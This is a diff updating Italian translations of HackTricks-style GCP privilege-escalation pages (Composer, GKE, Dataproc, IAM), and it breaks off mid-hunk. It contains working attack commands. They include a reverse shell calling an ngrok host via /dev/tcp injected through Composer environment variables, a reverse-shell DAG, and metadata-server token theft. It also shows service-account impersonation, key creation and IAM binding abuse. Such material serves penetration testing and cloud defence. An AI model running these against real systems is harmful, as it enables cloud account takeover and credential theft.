Un attaccante con questo permesso può **assegnare a se stesso o ad altri principal ruoli di Cloud Tasks** su code specifiche, potenzialmente scalando a `roles/cloudtasks.admin` che include la possibilità di creare ed eseguire task.
|
||||
|
||||
<details><summary>Concedi ruolo admin di Cloud Tasks su una coda</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Questo consente all'attaccante di concedere permessi di amministratore completi di Cloud Tasks sulla coda a qualsiasi account di servizio che controllano.
|
||||
</details>
|
||||
|
||||
Questo permette all'attaccante di concedere permessi admin completi di Cloud Tasks sulla coda a qualsiasi service account che controlla.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
+38
-18
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
Ulteriori informazioni in:
|
||||
Maggiori informazioni in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@ Ulteriori informazioni in:
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
È possibile **allegare qualsiasi account di servizio** al nuovo ambiente composer con quel permesso. Successivamente, potresti eseguire codice all'interno di composer per rubare il token dell'account di servizio.
|
||||
È possibile **associare qualsiasi service account** al nuovo environment di Composer con quel permesso. Successivamente potresti eseguire codice all'interno di Composer per rubare il token del service account.
|
||||
|
||||
<details><summary>Crea un environment di Composer con un service account associato</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
Maggiore informazione sull'exploitation [**qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
</details>
|
||||
|
||||
Maggiori informazioni sullo sfruttamento [**qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
È possibile aggiornare l'ambiente composer, ad esempio, modificando le variabili d'ambiente:
|
||||
È possibile aggiornare l'ambiente di Composer, ad esempio modificando le variabili d'ambiente:
|
||||
|
||||
<details><summary>Aggiorna le variabili d'ambiente di Composer per l'esecuzione di codice</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: Ottieni RCE aggiungendo nuovi pacchetti pypi all'ambiente
|
||||
</details>
|
||||
|
||||
### Scarica Dags
|
||||
TODO: Ottenere RCE aggiungendo nuovi pacchetti pypi all'ambiente
|
||||
|
||||
Controlla il codice sorgente dei dags in esecuzione:
|
||||
### Scarica DAGs
|
||||
|
||||
Controlla il codice sorgente dei DAGs in esecuzione:
|
||||
|
||||
<details><summary>Esporta e scarica i DAGs dall'ambiente Composer</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Importa Dags
|
||||
</details>
|
||||
|
||||
Aggiungi il codice DAG python in un file e importalo eseguendo:
|
||||
### Importa i DAG
|
||||
|
||||
Aggiungi il codice Python del DAG in un file e importalo eseguendo:
|
||||
|
||||
<details><summary>Importa un DAG malevolo nell'ambiente Composer</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
DAG della reverse shell:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
DAG reverse shell:
|
||||
|
||||
<details><summary>Codice Python DAG per reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,22 +112,24 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### Accesso in Scrittura al bucket di Composer
|
||||
</details>
|
||||
|
||||
Tutti i componenti di un ambiente composer (DAG, plugin e dati) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione con backdoor** in modo che l'ambiente composer ottenga dalla memorizzazione la versione con backdoor.
|
||||
### Accesso in scrittura al bucket di Composer
|
||||
|
||||
Ottieni ulteriori informazioni su questo attacco in:
|
||||
Tutti i componenti di un ambiente Composer (DAGs, plugin e dati) sono immagazzinati all'interno di un bucket GCP. Se un attaccante ha permessi di lettura e scrittura su di esso, può monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione backdoorata** in modo che l'ambiente Composer recuperi dallo storage la versione compromessa.
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Importa Plugin
|
||||
### Import dei plugin
|
||||
|
||||
TODO: Controlla cosa è possibile compromettere caricando plugin
|
||||
TODO: Verificare cosa è possibile compromettere caricando plugin
|
||||
|
||||
### Importa Dati
|
||||
### Import dei dati
|
||||
|
||||
TODO: Controlla cosa è possibile compromettere caricando dati
|
||||
TODO: Verificare cosa è possibile compromettere caricando dati
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
Questo permesso consente di **raccogliere credenziali per il cluster Kubernetes** utilizzando qualcosa come:
|
||||
Questa autorizzazione consente di **raccogliere le credenziali del cluster Kubernetes** usando ad esempio:
|
||||
|
||||
<details><summary>Get Kubernetes cluster credentials</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
Senza permessi aggiuntivi, le credenziali sono piuttosto basilari poiché puoi **solo elencare alcune risorse**, ma sono utili per trovare configurazioni errate nell'ambiente.
|
||||
</details>
|
||||
|
||||
Senza permessi aggiuntivi, le credenziali sono piuttosto basilari poiché puoi **semplicemente elencare qualche risorsa**, ma sono utili per trovare misconfigurazioni nell'ambiente.
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che **i cluster kubernetes potrebbero essere configurati per essere privati**, il che impedirà l'accesso al server Kube-API da Internet.
|
||||
> Nota che **kubernetes clusters potrebbero essere configurati come privati**, il che impedirà l'accesso al Kube-API server da Internet.
|
||||
|
||||
Se non hai questo permesso, puoi comunque accedere al cluster, ma devi **creare il tuo file di configurazione kubectl** con le informazioni sui cluster. Uno generato di recente appare così:
|
||||
Se non hai questo permesso puoi comunque accedere al cluster, ma devi **creare il tuo kubectl config file** con le informazioni del cluster. Uno appena generato appare così:
|
||||
|
||||
<details><summary>Esempio di kubectl config file per GKE cluster</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** per impostazione predefinita **prevenire** i principi di poter **creare** o **aggiornare** **Ruoli** e **ClusterRuoli** con **più permessi** di quelli che il principio ha. Tuttavia, un **principale GCP** con quei permessi sarà **in grado di creare/aggiornare Ruoli/ClusterRuoli con più permessi** di quelli che deteneva, bypassando effettivamente la protezione di Kubernetes contro questo comportamento.
|
||||
**Kubernetes** di default **impedisce** ai soggetti di poter **creare** o **aggiornare** **Roles** e **ClusterRoles** con **più permessi** rispetto a quelli che il soggetto possiede. Tuttavia, un soggetto **GCP** con tali permessi sarà **in grado di creare/aggiornare Roles/ClusterRoles con più permessi** rispetto a quelli che aveva, bypassando di fatto la protezione di Kubernetes contro questo comportamento.
|
||||
|
||||
**`container.roles.create`** e/o **`container.roles.update`** O **`container.clusterRoles.create`** e/o **`container.clusterRoles.update`** rispettivamente sono **anche** **necessari** per eseguire queste azioni di escalation dei privilegi.
|
||||
**`container.roles.create`** e/o **`container.roles.update`** oppure **`container.clusterRoles.create`** e/o **`container.clusterRoles.update`** rispettivamente sono **anche** **necessari** per eseguire queste azioni di escalation dei privilegi.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** per impostazione predefinita **prevenire** i principi di poter **creare** o **aggiornare** **RoleBindings** e **ClusterRoleBindings** per dare **più permessi** di quelli che il principio ha. Tuttavia, un **principale GCP** con quei permessi sarà **in grado di creare/aggiornare RoleBindings/ClusterRoleBindings con più permessi** di quelli che ha, bypassando effettivamente la protezione di Kubernetes contro questo comportamento.
|
||||
**Kubernetes** di default **impedisce** ai soggetti di poter **creare** o **aggiornare** **RoleBindings** e **ClusterRoleBindings** per concedere **più permessi** rispetto a quelli che il soggetto possiede. Tuttavia, un soggetto **GCP** con tali permessi sarà **in grado di creare/aggiornare RoleBindings/ClusterRoleBindings con più permessi** rispetto a quelli che possiede, bypassando di fatto la protezione di Kubernetes contro questo comportamento.
|
||||
|
||||
**`container.roleBindings.create`** e/o **`container.roleBindings.update`** O **`container.clusterRoleBindings.create`** e/o **`container.clusterRoleBindings.update`** rispettivamente sono anche **necessari** per eseguire queste azioni di escalation dei privilegi.
|
||||
**`container.roleBindings.create`** e/o **`container.roleBindings.update`** oppure **`container.clusterRoleBindings.create`** e/o **`container.clusterRoleBindings.update`** rispettivamente sono anche **necessari** per eseguire queste azioni di escalation dei privilegi.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
Tutti questi permessi ti permetteranno di **creare o aggiornare una risorsa** dove puoi **definire** un **pod**. Definendo un pod puoi **specificare il SA** che sarà **allegato** e l'**immagine** che sarà **eseguita**, quindi puoi eseguire un'immagine che **esfiltra il token del SA al tuo server**, permettendoti di escalare a qualsiasi account di servizio.\
|
||||
Per ulteriori informazioni controlla:
|
||||
Tutti questi permessi ti permetteranno di **creare o aggiornare una risorsa** dove puoi **definire** un **pod**. Definendo un pod puoi **specificare la SA** che verrà **attachata** e l'**image** che verrà **eseguita**, quindi puoi eseguire un'immagine che **esfiltrerà il token della SA al tuo server** permettendoti di escalare a qualsiasi service account.\
|
||||
Per maggiori informazioni check:
|
||||
|
||||
Poiché siamo in un ambiente GCP, sarai anche in grado di **ottenere il SA del nodepool GCP** dal servizio **metadata** e **escalare privilegi in GCP** (per impostazione predefinita viene utilizzato il SA di calcolo).
|
||||
Poiché siamo in un ambiente GCP, potrai anche **ottenere la GCP SA del nodepool** dal servizio di **metadata** e **escalare i privilegi in GC**P (di default viene usata la compute SA).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
Come [**spiegato in questa pagina**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) con questi permessi puoi **leggere** i **token** di tutti i **SA di kubernetes**, quindi puoi escalare a loro.
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)con questi permessi puoi **leggere** i **token** di tutte le **SAs di kubernetes**, quindi puoi escalare a loro.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
Con questo permesso sarai in grado di **eseguire comandi nei pod**, il che ti dà **accesso** a tutti i **SA di Kubernetes in esecuzione nei pod** per escalare privilegi all'interno di K8s, ma sarai anche in grado di **rubare** il **GCP Service Account** del **NodePool**, **escalando privilegi in GCP**.
|
||||
Con questo permesso sarai in grado di **eseguire exec nei pod**, il che ti dà **accesso** a tutte le **SA Kubernetes in esecuzione nei pod** per escalare i privilegi all'interno di K8s, ma potrai anche **rubare** la **GCP Service Account** del **NodePool**, **escalare i privilegi in GCP**.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
Come **spiegato in questa pagina**, con questi permessi puoi **accedere ai servizi locali** in esecuzione nei **pod** che potrebbero permetterti di **escalare privilegi in Kubernetes** (e in **GCP** se in qualche modo riesci a comunicare con il servizio metadata)**.**
|
||||
Come **spiegato in questa pagina**, con questi permessi puoi **accedere ai servizi locali** in esecuzione nei **pod** che potrebbero permetterti di **escalare i privilegi in Kubernetes** (e in **GCP** se in qualche modo riesci a parlare con il metadata service)**.**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
A causa del **nome** del **permesso**, **sembra che ti permetterà di generare token degli K8s Service Accounts**, quindi sarai in grado di **escalare a qualsiasi SA** all'interno di Kubernetes. Tuttavia, non sono riuscito a trovare alcun endpoint API da utilizzare, quindi fammi sapere se lo trovi.
|
||||
A causa del **nome** del **permesso**, sembra che **ti permetta di generare token delle Service Account di K8s**, quindi saresti in grado di **privesc to any SA** all'interno di Kubernetes. Tuttavia, non sono riuscito a trovare alcun endpoint API per usarlo, fammi sapere se lo trovi.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
Questi permessi potrebbero permetterti di escalare privilegi in Kubernetes, ma più probabilmente, potresti abusarne per **persistere nel cluster**.\
|
||||
Per ulteriori informazioni [**segui questo link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
Questi permessi potrebbero permetterti di scalare i privilegi in Kubernetes, ma più probabilmente potresti abusarne per **persistere nel cluster**.\
|
||||
Per maggiori informazioni [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Non sono riuscito a ottenere una reverse shell utilizzando questo metodo, tuttavia è possibile leakare il token SA dall'endpoint dei metadati utilizzando il metodo descritto di seguito.
|
||||
Non sono riuscito a ottenere una reverse shell usando questo metodo; tuttavia è possibile leak del SA token dall'endpoint dei metadata usando il metodo descritto di seguito.
|
||||
|
||||
#### Steps to exploit
|
||||
#### Passaggi per sfruttare
|
||||
|
||||
- Posizionare lo script del lavoro nel GCP Bucket
|
||||
- Posiziona lo script del job nel bucket GCP
|
||||
|
||||
- Inviare un lavoro a un cluster Dataproc.
|
||||
- Sottoponi un job a un cluster Dataproc.
|
||||
|
||||
- Utilizzare il lavoro per accedere al server dei metadati.
|
||||
- Usa il job per accedere al server dei metadata.
|
||||
|
||||
- Leakare il token dell'account di servizio utilizzato dal cluster.
|
||||
- Leak il service account token usato dal cluster.
|
||||
|
||||
<details><summary>Script Python per recuperare SA token dal server dei metadata</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Inviare un job malevolo a un cluster Dataproc</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Trova ulteriori informazioni su IAM in:
|
||||
Per maggiori informazioni su IAM:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@ Trova ulteriori informazioni su IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di aggiornare un ruolo assegnato a te e darti permessi aggiuntivi su altre risorse come:
|
||||
Un attacker con i permessi indicati potrà aggiornare un ruolo assegnato a te e concederti permessi aggiuntivi su altre risorse come:
|
||||
|
||||
<details><summary>Aggiornare il ruolo IAM per aggiungere permessi</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la **creazione, sfruttamento e pulizia di un ambiente vulnerabile qui** e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Per ulteriori informazioni, controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Puoi trovare uno script per automatizzare la **creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui** e uno script Python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Per maggiori informazioni consulta la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di **richiedere un token di accesso che appartiene a un Service Account**, quindi è possibile richiedere un token di accesso di un Service Account con più privilegi dei nostri.
|
||||
Un attaccante con i permessi menzionati sarà in grado di **richiedere un access token che appartiene a un Service Account**, quindi è possibile ottenere un access token di un Service Account con privilegi superiori ai nostri.
|
||||
|
||||
<details><summary>Impersonare un Service Account per ottenere un access token</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Per ulteriori informazioni, controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e uno script Python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Per maggiori informazioni consulta la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di **creare una chiave gestita dall'utente per un Service Account**, che ci permetterà di accedere a GCP come quel Service Account.
|
||||
Un attaccante con i permessi menzionati sarà in grado di **creare una chiave gestita dall'utente per un Service Account**, cosa che ci permetterà di accedere a GCP come quel Service Account.
|
||||
|
||||
<details><summary>Creare una chiave per il Service Account e autenticarsi</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Per ulteriori informazioni, controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Nota che **`iam.serviceAccountKeys.update` non funzionerà per modificare la chiave** di un SA perché per farlo sono necessari anche i permessi `iam.serviceAccountKeys.create`.
|
||||
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Nota che **`iam.serviceAccountKeys.update` non funzionerà per modificare la chiave** di un SA perché per fare ciò è necessario anche il permesso `iam.serviceAccountKeys.create`.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Se hai il permesso **`iam.serviceAccounts.implicitDelegation`** su un Service Account che ha il permesso **`iam.serviceAccounts.getAccessToken`** su un terzo Service Account, allora puoi usare implicitDelegation per **creare un token per quel terzo Service Account**. Ecco un diagramma per aiutare a spiegare.
|
||||
Se hai il permesso **`iam.serviceAccounts.implicitDelegation`** su un Service Account che ha il permesso **`iam.serviceAccounts.getAccessToken`** su un terzo Service Account, allora puoi usare implicitDelegation per **creare un token per quel terzo Service Account**. Qui c'è un diagramma per aiutare a spiegare.
|
||||
|
||||

|
||||
|
||||
Nota che secondo la [**documentazione**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delega di `gcloud` funziona solo per generare un token utilizzando il metodo [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Quindi qui hai come ottenere un token utilizzando direttamente l'API:
|
||||
Nota che secondo la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegazione di `gcloud` funziona solo per generare un token utilizzando il metodo [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Quindi qui viene mostrato come ottenere un token usando direttamente l'API:
|
||||
|
||||
<details><summary>Generare un token di accesso con delega usando l'API</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Per ulteriori informazioni controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di **firmare payload arbitrari in GCP**. Quindi sarà possibile **creare un JWT non firmato del SA e poi inviarlo come blob per ottenere il JWT firmato** dal SA che stiamo prendendo di mira. Per ulteriori informazioni [**leggi questo**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Un attacker con le autorizzazioni menzionate sarà in grado di **firmare payload arbitrari in GCP**. Quindi sarà possibile **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** dal SA che stiamo prendendo di mira. Per maggiori informazioni [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Per ulteriori informazioni controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di **firmare token web JSON (JWT) ben formati**. La differenza con il metodo precedente è che **invece di far firmare a Google un blob contenente un JWT, utilizziamo il metodo signJWT che già si aspetta un JWT**. Questo rende più facile l'uso, ma puoi solo firmare JWT invece di qualsiasi byte.
|
||||
Un attacker con le autorizzazioni menzionate sarà in grado di **firmare JSON web token ben formati (JWT)**. La differenza con il metodo precedente è che **invece di far sì che google firmi un blob contenente un JWT, usiamo il metodo signJWT che si aspetta già un JWT**. Questo lo rende più facile da usare ma puoi firmare solo JWT invece di qualsiasi byte.
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e uno script python per abusare di questo privilegio [**qui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Per ulteriori informazioni controlla la [**ricerca originale**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
È disponibile uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di **aggiungere politiche IAM agli account di servizio**. Puoi abusarne per **concederti** i permessi di cui hai bisogno per impersonare l'account di servizio. Nel seguente esempio ci stiamo concedendo il ruolo `roles/iam.serviceAccountTokenCreator` sull'interessante SA:
|
||||
Un attacker con le autorizzazioni menzionate sarà in grado di **add IAM policies to service accounts**. Puoi abusarne per **grant yourself** i permessi necessari per impersonare il service account. Nel seguente esempio ci stiamo assegnando il ruolo `roles/iam.serviceAccountTokenCreator` sul SA di interesse:
|
||||
|
||||
<details><summary>Add IAM policy binding to service account</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
